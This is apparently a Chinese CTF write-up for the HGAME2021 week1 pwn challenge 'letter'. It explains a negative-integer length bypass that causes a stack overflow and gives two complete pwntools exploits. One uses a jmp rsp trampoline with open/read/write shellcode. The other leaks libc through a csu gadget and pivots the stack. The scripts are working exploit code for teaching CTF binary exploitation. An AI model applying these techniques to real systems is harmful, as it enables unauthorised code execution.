本题来自HGAME2021 week1

题目描述

存在负数溢出
LOWORD 取第十六位

读十字节数据到栈上,通过atoi函数将读入数据转换为int类型数据并赋给变量length,而length为unsigned int且位于bss段

将unsignde int的变量强制转换为signed int类型并与15比大小,只需要写入负数即可绕过比较同时触发栈溢出

程序存在seccomp,无法调用system等系统调用函数,open,read,write函数可用,考虑通过这三个函数读取并显示flag文件


程序存在rwx段,且NX保护未开启,于是可以通过在栈上写入shellcode并执行

exp1

以jmp rsp指令为跳板
思路:输入一个负数,经atoi函数转化后存在buf里,然后取它的低双字部分(对应后面的8个16进制数),使它是 jmp rsp对应的地址。第二次输入时返回地址布置为jmp rsp,紧接着填充orw的shellcode

如何寻找jmp rsp地址呢?
写一段shellcode然后查看

1
2
3
4
shellcode = 'jmp rsp'
res = asm(shellcode)
···
r.send(res)

可以看到'jmp rsp'指令对应的形式为0xe4ff
要负数,所以考虑让其存储为0xf000e4ff,计算需要输入的数:由于 0xffffffff-0xf000e4ff+1 = 268376833, 所以我们在第一次读入时写入-268376833
看到length处指向的指令为jmp rsp

直接在栈上返回地址填入length变量的地址,并在之后继续写入shellcode内容
则当执行到返回地址处时,会执行jmp rsp指令,而此时rsp正指向shellcode的内容,从而直接执行shellcode

【push 0x67616c66,该程序为小端序,0x67616c66正确顺序为0x666c6167,对应字符串flag,作为open函数的参数】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.arch = 'amd64'
context.log_level='debug'
r = process('./letter')
r.sendlineafter('?','-268376833')
shellcode = '''
push 0x67616c66
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
xor rax, rax
mov rdi, 3
mov rsi, 0x601070
mov rdx, 0x50
syscall
mov rax, 1
mov rdi, 1
mov rsi, 0x601070
mov rdx,0x50
syscall
'''
r.sendline('a'*0x18+p64(0x60108C)+asm(shellcode))
r.interactive()

exp2

栈迁移+shellcode
思路:

  • 写入负数绕过检查
  • 利用csu通用gadget泄露write真实地址,计算libc基址,并计算open函数真实地址
  • 注意在后面pop rbp时设置好之后栈迁移处的栈底地址
  • 返回到栈溢出处继续执行
  • 由于刚才设置了rbp的值为0x601510,跳转执行read时读入地址是如下图所示计算得到的,所以这次会把我们的输入写到0x601500

  • 从0x601500开始读入(0x18+8)= 0x20个字节,所以在返回地址处写入0x601520,并在这之后继续写入shellcode,从而成功返回到shellcode并执行
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    from pwn import*
    context.log_level = 'debug'
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    elf = ELF('./letter')
    context.arch = elf.arch
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    read_got = elf.got['read']
    pop6 = 0x400A9A
    mmmc = 0x400A80
    vuln = 0x400958
    p = process('./letter')

    p.sendafter('?\n',str(0xffffffff).ljust(0x10,'\x00'))
    payload = 'a'*0x18+p64(pop6)+p64(0)+p64(1)+p64(write_got)+p64(1)+p64(write_got)+p64(8)
    payload += p64(mmmc)+'a'*16+p64(0x00601000+0x500+0x10)+'a'*32+p64(0x4009DD)
    p.send(payload)
    p.recvuntil('.\n')
    write_leak = u64(p.recv(8))
    libcbase = write_leak - libc.sym['write']
    open_addr = libcbase + libc.sym['open']

    print 'libcbase==>', hex(libcbase)

    payload = 'a'*0x18+p64(0x00601000+0x500+0x10+0x10)+asm(shellcraft.open('flag'))
    payload += asm(shellcraft.read(3,0x00601000+0x500+0x100,100))
    payload += asm(shellcraft.write(1,0x00601000+0x500+0x100,100))
    p.sendline(payload)

    p.interactive()

本地打效果